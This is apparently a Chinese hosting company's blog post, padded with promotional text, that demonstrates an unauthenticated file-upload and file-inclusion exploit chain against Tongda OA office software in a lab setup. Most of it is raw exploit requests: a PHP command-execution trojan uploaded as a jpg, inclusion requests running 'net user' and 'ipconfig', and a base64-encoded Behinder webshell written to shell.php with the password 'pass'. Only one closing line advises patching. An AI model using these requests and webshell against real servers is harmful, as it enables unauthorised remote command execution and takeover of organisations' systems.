今天就跟大家聊聊有關(guān)通達(dá)OA前臺任意文件上傳漏洞及文件包含漏洞導(dǎo)致getshell的示例分析,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結(jié)了以下內(nèi)容,希望大家根據(jù)這篇文章可以有所收獲。
成都創(chuàng)新互聯(lián)公司專注于黎平企業(yè)網(wǎng)站建設(shè),響應(yīng)式網(wǎng)站,商城開發(fā)。黎平網(wǎng)站建設(shè)公司,為黎平等地區(qū)提供建站服務(wù)。全流程按需網(wǎng)站制作,專業(yè)設(shè)計(jì),全程項(xiàng)目跟蹤,成都創(chuàng)新互聯(lián)公司專業(yè)和態(tài)度為您提供的服務(wù)
通達(dá)OA介紹:
通達(dá)OA(Office Anywhere網(wǎng)絡(luò)智能辦公系統(tǒng))是由北京通達(dá)信科科技有限公司自主研發(fā)的協(xié)同辦公自動化軟件,北京通達(dá)信科科技有限公司是一支以協(xié)同管理軟件研發(fā)與實(shí)施、服務(wù)與咨詢?yōu)橹鳡I業(yè)務(wù)的高科技團(tuán)隊(duì),是國內(nèi)協(xié)同管理軟件行業(yè)里唯一一家央企單位,中國協(xié)同管理軟件的領(lǐng)軍企業(yè)。
通達(dá)OA為各行業(yè)不同規(guī)模的眾多用戶提供信息化管理能力,包括流程審批、行政辦公、日常事務(wù)、數(shù)據(jù)統(tǒng)計(jì)分析、即時(shí)通訊、移動辦公等,幫助廣大用戶降低溝通和管理成本,提升生產(chǎn)和決策效率。該系統(tǒng)采用領(lǐng)先的B/S(瀏覽器/服務(wù)器)操作方式,使得網(wǎng)絡(luò)辦公不受地域限。通達(dá)Office Anywhere采用基于WEB的企業(yè)計(jì)算,主HTTP服務(wù)器采用了世界上最先進(jìn)的Apache服務(wù)器,性能穩(wěn)定可靠。數(shù)據(jù)存取集中控制,避免了數(shù)據(jù)泄漏的可能。提供數(shù)據(jù)備份工具,保護(hù)系統(tǒng)數(shù)據(jù)安全。多級的權(quán)限控制,完善的密碼驗(yàn)證與登錄驗(yàn)證機(jī)制更加強(qiáng)了系統(tǒng)安全性。
漏洞影響的版本有:
V11版、2017版、2016版、2015版、2013增強(qiáng)版、2013版。
備注:
無需登錄,前臺即可實(shí)現(xiàn)漏洞利用
2013版:
文件上傳漏洞路徑:/ispirit/im/upload.php
文件包含漏洞路徑:/ispirit/interface/gateway.php
2017版:
文件上傳漏洞路徑:/ispirit/im/upload.php
文件包含漏洞路徑:/mac/gateway.php
漏洞環(huán)境:
靶機(jī)(Windows server 2008 R2)IP:172.16.0.45
通達(dá)OA:V 11.3版本
(1)下載通達(dá)OA V11.3版本以后,點(diǎn)擊運(yùn)行TDOA11.3的應(yīng)用程序運(yùn)行文件
(2)確保80端口不被占用的情況下,將應(yīng)用搭建在80端口,然后點(diǎn)擊下一步
(3)配置完成
(4)查看搭建的結(jié)果
(5)賬戶為admin,密碼為空,登陸到后端系統(tǒng)
(1)前臺任意文件上傳漏洞:無需登錄,抓取任意數(shù)據(jù)包,修改數(shù)據(jù)包進(jìn)行重放,上傳后綴為jpg的木馬文件
POST /ispirit/im/upload.php HTTP/1.1Host: 172.16.0.45Cache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh2YB4pV8McGBAccept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5Cookie: PHPSESSID=123Connection: closeContent-Length: 660------WebKitFormBoundarypyfBh2YB4pV8McGBContent-Disposition: form-data; name="UPLOAD_MODE"2------WebKitFormBoundarypyfBh2YB4pV8McGBContent-Disposition: form-data; name="P"123------WebKitFormBoundarypyfBh2YB4pV8McGBContent-Disposition: form-data; name="DEST_UID"1------WebKitFormBoundarypyfBh2YB4pV8McGBContent-Disposition: form-data; name="ATTACHMENT"; filename="jpg"Content-Type: image/jpegexec("cmd /c ".$command);$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput;?>------WebKitFormBoundarypyfBh2YB4pV8McGB--
(2)查看運(yùn)行結(jié)果
(3)前臺文件包含漏洞:修改數(shù)據(jù)包,包含前面上傳的jpg木馬文件,即可實(shí)現(xiàn)執(zhí)行任意命令
此處執(zhí)行命令“net user”
POST /ispirit/interface/gateway.php HTTP/1.1Host: 172.16.0.45Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 71json={"url":"/general/../../attach/im/2012/820434636.jpg"}&cmd=net user
(4)前臺文件包含漏洞:修改數(shù)據(jù)包,包含前面上傳的jpg木馬文件,即可實(shí)現(xiàn)執(zhí)行任意命令
此處執(zhí)行命令“ipconfig”
POST /ispirit/interface/gateway.php HTTP/1.1Host: 172.16.0.45Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 73json={"url":"/general/../../attach/im/2012/820434636.jpg"}&cmd=ipconfig
(1)前臺任意文件上傳漏洞:抓取任意數(shù)據(jù)包,修改數(shù)據(jù)包進(jìn)行重放,上傳后綴為jpg的木馬文件(木馬文件執(zhí)行寫入文件操作)
POST /ispirit/im/upload.php HTTP/1.1
Host: 172.16.0.45
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh2YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close
Content-Length: 1393
------WebKitFormBoundarypyfBh2YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"
2
------WebKitFormBoundarypyfBh2YB4pV8McGB
Content-Disposition: form-data; name="P"
123
------WebKitFormBoundarypyfBh2YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"
1
------WebKitFormBoundarypyfBh2YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
$fp = fopen('shell.php', 'w');
$a = base64_decode("PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9HRVRbJ3Bhc3MnXSkpCnsKICAgICRrZXk9c3Vic3RyKG1kNSh2bmlxaWQocmFuZCgpKSksMTYpOwogICAgJF9TRVNTSU9OWydrJ109JGtleTsKICAgIHByaW50ICRrZXk7Cn0KZWxzZQp7CiAgICAka2V5PSRfU0VTU0lPTlsnayddOwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNlNjRfIi4iZGVjb2RlIjsKCQkkcG9zdD0kdCgkcG9zdC ?
4iIik7CgkJCgkJZm9yKCRpPTA7JGk8c3RybGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCQkgJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkrMSYxNV07IAogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHBsb2RlKCd8JywkcG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kYXJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHApIHtldmFsKCRwLiIiKTt9fQoJQG5ldyBDKCRwYXJhbXMpOwp9Cj8+");
fwrite($fp, $a);
fclose($fp);
?>
------WebKitFormBoundarypyfBh2YB4pV8McGB--
(2)查看運(yùn)行結(jié)果
(3)查看/webroot/ispirit/interface/目錄下的文件信息
(4)前臺文件包含漏洞:修改數(shù)據(jù)包,包含前面上傳的jpg木馬文件,會在文件包含的根目錄下生成一個(gè) shell.php 文件
POST /ispirit/interface/gateway.php HTTP/1.1Host: 172.16.0.45Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 73json={"url":"/general/../../attach/im/2012/213131861.jpg"}&cmd=ipconfig
(5)查看文件包含漏洞的執(zhí)行結(jié)果
(6)使用冰蝎進(jìn)行連接:http://172.16.0.45/ispirit/interface/shell.php
密碼為:pass
PS:此處用蟻劍和菜刀無法進(jìn)行連接
建議使用受影響版本的通達(dá)OA用戶登錄通達(dá)OA官網(wǎng),獲取最新補(bǔ)丁。請根據(jù)當(dāng)前OA版本選擇所對應(yīng)的程序文件,運(yùn)行前請先做好備份。
看完上述內(nèi)容,你們對通達(dá)OA前臺任意文件上傳漏洞及文件包含漏洞導(dǎo)致getshell的示例分析有進(jìn)一步的了解嗎?如果還想了解更多知識或者相關(guān)內(nèi)容,請關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,感謝大家的支持。